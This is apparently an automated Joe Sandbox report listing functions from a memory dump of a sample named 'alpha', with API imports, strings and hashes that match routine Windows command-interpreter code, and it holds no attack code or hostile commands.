Function 00007FF718D686FC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 226timeCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D6883F
GetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D6897A
SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D689AC
SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D689BD
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D689D1

Strings

/-., xrefs: 00007FF718D6873E
:, xrefs: 00007FF718D687B7
%s, xrefs: 00007FF718D688B9

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: LocalTime$ErrorLast_get_osfhandle
String ID: %s$/-.$:
API String ID: 1644023181-879152773
Opcode ID: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
Instruction ID: c7272a55ea01a4274ca06300b5e2a925d986a8746adb601935e68d61e7e4d6fe
Opcode Fuzzy Hash: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
Instruction Fuzzy Hash: B69193A2A08F4E91EF14AB25D4522B9E3A0FF48BB4FD44136D9CE42694DE3CE54DC724

Function 00007FF718D6627C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 95synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF718D67251), ref: 00007FF718D6628E

Strings

wil, xrefs: 00007FF718D663D2

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ObjectSingleWait
String ID: wil
API String ID: 24740636-1589926490
Opcode ID: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
Instruction ID: d5c0364e89f76d35f7b678a08f72c01c08c8a2aa28c9d98935f29dd209503926
Opcode Fuzzy Hash: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
Instruction Fuzzy Hash: 0D416121A08F4B83F3606B11F40127DE6A1EF8D7A4FF48131E98946694DF3DE84C8725

Function 00007FF718D6CDC0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 94windowCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D6CE20
_ultoa.MSVCRT ref: 00007FF718D6CE43
GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D6CE4F
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF718D6CE84
FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D6CEDE
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF718D6CF24

Strings

, xrefs: 00007FF718D6CE64
System, xrefs: 00007FF718D6CE90
Application, xrefs: 00007FF718D6CEAB

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: FormatMessage$ByteCharFreeLocalMultiWide_ultoa
String ID: $Application$System
API String ID: 3377411628-1881496484
Opcode ID: 081ad1a78538691813d500f2119477f8c8ef04af017c9f27d6f6f5b033d517ce
Instruction ID: 91b5ffe50e93a4e4f91f51e0ded5a2f0c5fc3cae294cd853ac092d88894eee41
Opcode Fuzzy Hash: 081ad1a78538691813d500f2119477f8c8ef04af017c9f27d6f6f5b033d517ce
Instruction Fuzzy Hash: 7F414832B08F469AE710AB60E4403EDB7B5EB8D768F845235DA8E42B58EF38D10DC754

Function 00007FF718D5258C Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D506C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D506D6
Part of subcall function 00007FF718D506C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D506F0
Part of subcall function 00007FF718D506C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D5074D
Part of subcall function 00007FF718D506C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D50762

_wcsicmp.MSVCRT ref: 00007FF718D525CA
_wcsicmp.MSVCRT ref: 00007FF718D525E8
_wcsicmp.MSVCRT ref: 00007FF718D5260F
_wcsicmp.MSVCRT ref: 00007FF718D52636
_wcsicmp.MSVCRT ref: 00007FF718D52650

Strings

CMDEXTVERSION, xrefs: 00007FF718D52608
EXIST, xrefs: 00007FF718D525E1
ERRORLEVEL, xrefs: 00007FF718D525C3
DEFINED, xrefs: 00007FF718D5262F
NOT, xrefs: 00007FF718D52649

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsicmp$Heap$AllocProcess
String ID: CMDEXTVERSION$DEFINED$ERRORLEVEL$EXIST$NOT
API String ID: 3407644289-1668778490
Opcode ID: 73bc52d87adb43f98016766748090f79ae3978062519f174c0f235f90d2ce4d7
Instruction ID: d77ecf3db381c8a66aaa2fe7df130025494dd34f60b2c4f1351ff9d81530b148
Opcode Fuzzy Hash: 73bc52d87adb43f98016766748090f79ae3978062519f174c0f235f90d2ce4d7
Instruction Fuzzy Hash: 0E315D21A0CF0A85F7157F21E815279E6B5AF8CB65FC48136EA8E46295DF3CE40CC729

Function 00007FF718D57E80 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D46E
Part of subcall function 00007FF718D4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D485
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D4EE
Part of subcall function 00007FF718D4D3F0: iswspace.MSVCRT ref: 00007FF718D4D54D
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D569
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D58C

iswspace.MSVCRT ref: 00007FF718D57EEE

Strings

A, xrefs: 00007FF718D601B6

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$Heapiswspace$AllocProcess
String ID: A
API String ID: 3731854180-3554254475
Opcode ID: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
Instruction ID: 3a466747c638f7a2f4f37ef013ba15606f98c853852929f1f0cc1b4dad51bab7
Opcode Fuzzy Hash: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
Instruction Fuzzy Hash: 32A17C21909F8A8AE720BB11A451279F6B0FF4D7A4FE48135DACD47794DF3CA84D8728

Function 00007FF718D6A58C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 97memoryfileCOMMON

Download Yara Rule

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6A5DC

Part of subcall function 00007FF718D6A8D4: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6A8F1

SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6A62E
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D6A68B
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D6A6A0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D6A6DE
RtlFreeHeap.NTDLL ref: 00007FF718D6A6F2
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF718D6A701

Strings

PE, xrefs: 00007FF718D6A65C

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$File$Process$AllocCloseCreateFreeHandlePointerRead
String ID: PE
API String ID: 2941894976-4258593460
Opcode ID: 331757eb63d1f0c0e0f6f41cd200ca790172e856099f574e6941fdd4e3218fed
Instruction ID: 224424bc2e105748b0ac1c47427e60060a8b72bcc7bf380fc76f82bed164be16
Opcode Fuzzy Hash: 331757eb63d1f0c0e0f6f41cd200ca790172e856099f574e6941fdd4e3218fed
Instruction Fuzzy Hash: 2F415161608F9986E724AB12E410279F7A1FB8DBA0F944230DADD03B95DF3CE44DCB25

Function 00007FF718D69B0C Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 261registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D69B77
RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D69CD2
wcsrchr.MSVCRT ref: 00007FF718D69D47
RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D69E38

Strings

%s=%s, xrefs: 00007FF718D69C81, 00007FF718D69E85
., xrefs: 00007FF718D69B96
\Shell\Open\Command, xrefs: 00007FF718D69B8F, 00007FF718D69DE6

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Enum$Openwcsrchr
String ID: %s=%s$.$\Shell\Open\Command
API String ID: 3402383852-1459555574
Opcode ID: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
Instruction ID: d6aad88592c66eec9f32d1871268cc42b498b754b7e474adba26d290f8d7e2eb
Opcode Fuzzy Hash: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
Instruction Fuzzy Hash: 53A1A161A09F4E92EB10BB5590502F9E2A0EF89BB4FE44131DA8D07785DF7CE94DC728

Function 00007FF718D57610 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 228COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D5768B
memset.MSVCRT ref: 00007FF718D576B4

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D577F5
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D57815

Part of subcall function 00007FF718D58198: wcscmp.MSVCRT ref: 00007FF718D581EA
Part of subcall function 00007FF718D58198: wcscmp.MSVCRT ref: 00007FF718D581FD

Strings

%s, xrefs: 00007FF718D5FC14

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$wcscmp
String ID: %s
API String ID: 243296809-3043279178
Opcode ID: 76e25bbe37d1b4078acb033ef5c0999176f7735716d4b3cce97783dd07bc678b
Instruction ID: 741d5141561bca077d736d9281fb106e746904ffab9713e5cc5209eadce14f29
Opcode Fuzzy Hash: 76e25bbe37d1b4078acb033ef5c0999176f7735716d4b3cce97783dd07bc678b
Instruction Fuzzy Hash: DEA19422709B8A96EB25EB21D8403F9E3B0FB4C758F944136DA8D4B695DF3CE64C8314

Function 00007FF718D499F0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D4CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDA6
Part of subcall function 00007FF718D4CD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDBD

wcschr.MSVCRT(?,?,?,00007FF718D499DD), ref: 00007FF718D49A39

Part of subcall function 00007FF718D4DF60: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,00000000,00007FF718D4CEAA), ref: 00007FF718D4DFB8
Part of subcall function 00007FF718D4DF60: RtlFreeHeap.NTDLL ref: 00007FF718D4DFCC
Part of subcall function 00007FF718D4DF60: _setjmp.MSVCRT ref: 00007FF718D4E03E

wcschr.MSVCRT(?,?,?,00007FF718D499DD), ref: 00007FF718D49AF0
wcschr.MSVCRT(?,?,?,00007FF718D499DD), ref: 00007FF718D49B0F

Part of subcall function 00007FF718D496E8: memset.MSVCRT ref: 00007FF718D497B2
Part of subcall function 00007FF718D496E8: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D49880

_wcsupr.MSVCRT ref: 00007FF718D5B844
wcscmp.MSVCRT ref: 00007FF718D5B86D

Strings

FOR, xrefs: 00007FF718D5B863
IF, xrefs: 00007FF718D5B850

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$wcschr$Process$AllocFree_setjmp_wcsuprmemsetwcscmp
String ID: FOR$ IF
API String ID: 3663254013-2924197646
Opcode ID: f67f85f591da67d4ae817e2fb353553f76712647fd4c669d5220a84d1aca1485
Instruction ID: 57c65a8cb56f0cd961f94f81892f172e84627d315bb8399391af1ef98b31e7fa
Opcode Fuzzy Hash: f67f85f591da67d4ae817e2fb353553f76712647fd4c669d5220a84d1aca1485
Instruction Fuzzy Hash: 86518D20A09F4A91FF14BB169451279EAB1AF4DBB0FC84235D99E47BD1DF3CA40D8728

Function 00007FF718D4F173 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 119COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F0D6
iswspace.MSVCRT(00000000,00000000,?,00000000,?,00007FF718D4E626,?,?,00000000,00007FF718D51F69), ref: 00007FF718D4F1BA
wcschr.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F1E7
iswdigit.MSVCRT(00000000,00000000,?,00000000,?,00007FF718D4E626,?,?,00000000,00007FF718D51F69), ref: 00007FF718D4F1FF
iswdigit.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F2BB

Strings

), xrefs: 00007FF718D4F18C
=,;, xrefs: 00007FF718D4F1CE

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: iswdigit$iswspacewcschr
String ID: )$=,;
API String ID: 1959970872-2167043656
Opcode ID: 4f4e76ffb3d3d3f1682d86852f25dc45ca8acbfdb86516db9a39298bef1f035d
Instruction ID: 77edb9c98d02974ef9be8c98f181eafc5909187ffa9576e29b0bc66c720f11d0
Opcode Fuzzy Hash: 4f4e76ffb3d3d3f1682d86852f25dc45ca8acbfdb86516db9a39298bef1f035d
Instruction Fuzzy Hash: 1B41AD71E08B5A86FB647B14A448379E6A0AF18765FC850B2CACD429B4DF3CA44D8728

Function 00007FF718D6BA40 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

iswalpha.MSVCRT ref: 00007FF718D6BABA
towupper.MSVCRT ref: 00007FF718D6BAD1
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6BB13
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D6BB2F
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D6BB48

Strings

:, xrefs: 00007FF718D6BAAF
%04X-%04X, xrefs: 00007FF718D6BBBB

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ErrorLast$InformationVolumeiswalphatowupper
String ID: %04X-%04X$:
API String ID: 930873262-1938371929
Opcode ID: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
Instruction ID: 0bb617ca816231789e5dd26c5c0f4ade15249dee34eb819920da55e67533b9a2
Opcode Fuzzy Hash: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
Instruction Fuzzy Hash: 56415E21A08F8AC2EB24BB64E4412BAE261FB8D764FD44236D9CD426D5DF3CD54CC728

Function 00007FF718D586F0 Relevance: 10.7, APIs: 7, Instructions: 154COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D588C0: NtOpenThreadToken.NTDLL ref: 00007FF718D588E7
Part of subcall function 00007FF718D588C0: NtOpenProcessToken.NTDLL ref: 00007FF718D58907
Part of subcall function 00007FF718D588C0: NtClose.NTDLL ref: 00007FF718D5896C

SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF718D587D7
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF718D58807
RtlNtStatusToDosError.NTDLL ref: 00007FF718D6517E
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D6518C
GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF718D651FD
wcsstr.MSVCRT ref: 00007FF718D65219
wcsstr.MSVCRT ref: 00007FF718D65236

Part of subcall function 00007FF718D5885C: FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D588A2

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ConsoleErrorOpenTitleTokenwcsstr$CloseFormatFreeLastLocalMessageProcessStatusThread
String ID:
API String ID: 1313749407-0
Opcode ID: ee6218c461c646e929341b9db92bfc99d61f95d83b881389c5cff3e0ca217c2e
Instruction ID: 9f6cae6f7aee35e0f77e3a77ce1bbe6f1c02a03be65caf0c254e49b59fe9aabb
Opcode Fuzzy Hash: ee6218c461c646e929341b9db92bfc99d61f95d83b881389c5cff3e0ca217c2e
Instruction Fuzzy Hash: 37519121A08F8A82EB14BB11A41517AE6B1BF4DBB0FD85231DD9E077D0DF3CE44C8268

Function 00007FF718D4F5D7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

iswspace.MSVCRT(00000000,00000000,?,00000000,?,00007FF718D4E626,?,?,00000000,00007FF718D51F69), ref: 00007FF718D4F1BA
wcschr.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F1E7
iswdigit.MSVCRT(00000000,00000000,?,00000000,?,00007FF718D4E626,?,?,00000000,00007FF718D51F69), ref: 00007FF718D4F1FF
iswdigit.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F2BB

Strings

), xrefs: 00007FF718D4F18C
=,;, xrefs: 00007FF718D4F1CE

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: iswdigit$iswspacewcschr
String ID: )$=,;
API String ID: 1959970872-2167043656
Opcode ID: e8a5d63c360e4c13ef561f3ce3dd80187a3c2d8689f5c743dd181e811bfffbc3
